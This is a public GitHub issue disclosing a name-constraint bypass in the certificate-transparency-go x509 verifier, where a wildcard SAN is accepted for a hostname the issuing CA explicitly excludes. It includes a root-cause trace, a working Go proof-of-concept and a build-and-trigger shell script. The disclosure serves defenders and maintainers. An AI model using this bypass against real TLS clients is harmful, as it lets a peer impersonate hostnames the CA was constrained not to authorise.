Skip to content

CT-Go x509 wildcard SAN excluded nameConstraints bypass #1809

Description

@hibrian827

Summary

The github.com/google/certificate-transparency-go/x509 verifier accepts a certificate chain for a concrete DNS name that the trusted issuer explicitly excludes when the leaf reaches that name through a wildcard SAN. In the affected path, Certificate.Verify accepts *.example.com for foo.example.com, but issuer name constraints are later checked against the literal SAN string rather than the concrete peer name, so a constrained CA can authorize a hostname outside its permitted scope. We first reported this to google issues, but was told to open a public issue on this matter.

Affected

Root cause

Certificate.Verify takes the caller-supplied VerifyOptions.DNSName and, when it is non-empty, validates it before chain construction by calling VerifyHostname at x509/verify.go:774. VerifyHostname then iterates the leaf's DNSNames and returns success when matchHostnames accepts the literal SAN pattern, so *.example.com can satisfy the requested host foo.example.com at x509/verify.go:1039 and x509/verify.go:1040. After hostname acceptance, Verify builds candidate chains at x509/verify.go:785, and buildChains validates each issuer candidate through isValid at x509/verify.go:858. Issuer name-constraint checks are enabled by default for constrained roots and intermediates at x509/verify.go:616; because the leaf has a SAN extension, the code iterates the leaf SAN entries at x509/verify.go:624, enters the DNS branch at x509/verify.go:641, and passes the SAN string itself as both display value and parsed DNS name into checkNameConstraints at x509/verify.go:647. The final DNS constraint comparison is therefore between the literal wildcard domain *.example.com and the excluded constraint foo.example.com; matchDomainConstraint parses and compares those labels at x509/verify.go:466, so the concrete host accepted by wildcard matching is never rechecked against the issuer's excluded DNS constraint.

Reproduction

PoC

harness.go

package main

import (
	"crypto/ecdsa"
	"crypto/elliptic"
	"crypto/rand"
	"fmt"
	"math/big"
	"os"
	"time"

	ctx509 "github.com/google/certificate-transparency-go/x509"
	"github.com/google/certificate-transparency-go/x509/pkix"
)

func mustKey() *ecdsa.PrivateKey {
	key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
	if err != nil {
		panic(err)
	}
	return key
}

func mustCert(template, parent *ctx509.Certificate, pub any, signer any) *ctx509.Certificate {
	der, err := ctx509.CreateCertificate(rand.Reader, template, parent, pub, signer)
	if err != nil {
		panic(err)
	}
	cert, err := ctx509.ParseCertificate(der)
	if err != nil {
		panic(err)
	}
	return cert
}

func main() {
	now := time.Date(2026, time.January, 1, 0, 0, 0, 0, time.UTC)
	rootKey := mustKey()
	leafKey := mustKey()

	rootTemplate := &ctx509.Certificate{
		SerialNumber:                big.NewInt(1),
		Subject:                     pkix.Name{CommonName: "excluded-name-constraint-root"},
		NotBefore:                   now.Add(-time.Hour),
		NotAfter:                    now.Add(time.Hour),
		KeyUsage:                    ctx509.KeyUsageCertSign | ctx509.KeyUsageDigitalSignature,
		BasicConstraintsValid:       true,
		IsCA:                        true,
		ExcludedDNSDomains:          []string{"foo.example.com"},
		PermittedDNSDomainsCritical: true,
	}
	root := mustCert(rootTemplate, rootTemplate, &rootKey.PublicKey, rootKey)

	leafTemplate := &ctx509.Certificate{
		SerialNumber:          big.NewInt(2),
		Subject:               pkix.Name{CommonName: "wildcard-leaf"},
		NotBefore:             now.Add(-time.Hour),
		NotAfter:              now.Add(time.Hour),
		KeyUsage:              ctx509.KeyUsageDigitalSignature,
		ExtKeyUsage:           []ctx509.ExtKeyUsage{ctx509.ExtKeyUsageServerAuth},
		BasicConstraintsValid: true,
		DNSNames:              []string{"*.example.com"},
	}
	leaf := mustCert(leafTemplate, root, &leafKey.PublicKey, rootKey)

	roots := ctx509.NewCertPool()
	roots.AddCert(root)
	chains, err := leaf.Verify(ctx509.VerifyOptions{
		DNSName:     "foo.example.com",
		Roots:       roots,
		CurrentTime: now,
		KeyUsages:   []ctx509.ExtKeyUsage{ctx509.ExtKeyUsageServerAuth},
	})
	if err == nil && len(chains) > 0 {
		fmt.Println("CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com")
		return
	}
	fmt.Fprintf(os.Stderr, "expected vulnerable verification success, got err=%v chains=%d\n", err, len(chains))
	os.Exit(1)
}

run.sh

set -euo pipefail

script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source_dir="$script_dir/source"

UPSTREAM_REPO_URL="https://github.com/google/certificate-transparency-go"
UPSTREAM_PINNED_SHA="58b0813ac24dc59a4e6509afe2b73d31d64439a1"

_silent() {
  local label="$1"; shift
  local log="$script_dir/.${label}.log"
  if ! "$@" > "$log" 2>&1; then
    echo "[run.sh] $label failed; log follows:" >&2
    cat "$log" >&2
    return 1
  fi
}

setup() {
  if [[ -d "$source_dir/.git" ]] \
     && [[ "$(git -C "$source_dir" rev-parse HEAD 2>/dev/null)" == "$UPSTREAM_PINNED_SHA" ]]; then
    echo "[run.sh] reusing existing $source_dir at $UPSTREAM_PINNED_SHA"
    return 0
  fi
  _setup_inner() {
    rm -rf "$source_dir"
    mkdir -p "$source_dir"
    cd "$source_dir"
    git init -q
    git remote add origin "$UPSTREAM_REPO_URL"
    if git fetch --depth 1 origin "$UPSTREAM_PINNED_SHA" -q 2>/dev/null; then
      git checkout -q FETCH_HEAD
    else
      cd "$script_dir"
      rm -rf "$source_dir"
      git clone -q "$UPSTREAM_REPO_URL" "$source_dir"
      git -C "$source_dir" checkout -q "$UPSTREAM_PINNED_SHA"
    fi
    local head
    head="$(git -C "$source_dir" rev-parse HEAD)"
    if [[ "$head" != "$UPSTREAM_PINNED_SHA" ]]; then
      echo "setup: HEAD=$head but expected $UPSTREAM_PINNED_SHA" >&2
      exit 1
    fi
  }
  _silent setup _setup_inner
  echo "[run.sh] reproducing against $UPSTREAM_REPO_URL @ $UPSTREAM_PINNED_SHA"
}

build() {
  _silent build bash -c '
    set -euo pipefail
    source_dir="$1"
    script_dir="$2"
    build_dir="$script_dir/build-scratch"

    if [[ -d "$build_dir" ]]; then
      chmod -R u+w "$build_dir"
    fi
    rm -rf "$build_dir"
    mkdir -p "$build_dir/cmd/poc"
    cp -R "$source_dir/asn1" "$source_dir/tls" "$source_dir/x509" "$build_dir/"
    cp -R "$script_dir/inputs/xcrypto" "$build_dir/xcrypto"
    cp "$script_dir/harness.go" "$build_dir/cmd/poc/main.go"
    cat > "$build_dir/go.mod" <<EOF
module github.com/google/certificate-transparency-go

go 1.22

require golang.org/x/crypto v0.0.0

replace golang.org/x/crypto => ./xcrypto
EOF
    cd "$build_dir"
    GOTOOLCHAIN=local GOWORK=off go build -mod=mod -o "$script_dir/poc-bin" ./cmd/poc
  ' bash "$source_dir" "$script_dir"
}

trigger() {
  _silent run "$script_dir/poc-bin"
  grep -F "CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com" "$script_dir/.run.log" \
    || { echo "no reproduction proof in run output" >&2; exit 1; }
}

cmd="${1:-all}"
case "$cmd" in
  setup)         setup ;;
  build)         setup; build ;;
  trigger|all|"") setup; build; trigger ;;
  *)
    echo "usage: $0 {setup|build|trigger|all}" >&2
    exit 2
    ;;
esac

run with

./run.sh

expected:

CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com

This line is printed only when Certificate.Verify returns a non-empty valid chain for DNSName: "foo.example.com" under a trusted root whose ExcludedDNSDomains contains that same concrete host. A setup or build failure, or a verification rejection without this fingerprint, is not this bug firing.

Impact

The attacker model is a remote unauthenticated network peer that can present an attacker-controlled X.509 server certificate chain to a client application using certificate-transparency-go/x509.Certificate.Verify for TLS-style DNS identity checks. The deployment must trust a CA certificate carrying an excluded DNS name constraint for the target host, the attacker must present an otherwise valid wildcard leaf from that constrained CA, and the application must pass the intended peer name in VerifyOptions.DNSName without disabling name-constraint checks. Under those conditions, the verifier accepts a chain for a hostname the issuer was explicitly constrained not to authorize, which can let the peer impersonate that excluded DNS name to the application. The verified impact is a validator contract violation with low confidentiality and integrity impact in the audited CVSS assessment, because the local PoC proves acceptance by the verifier but does not exercise a full TLS session or application-level data flow.

Reported by Team Atlanta.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions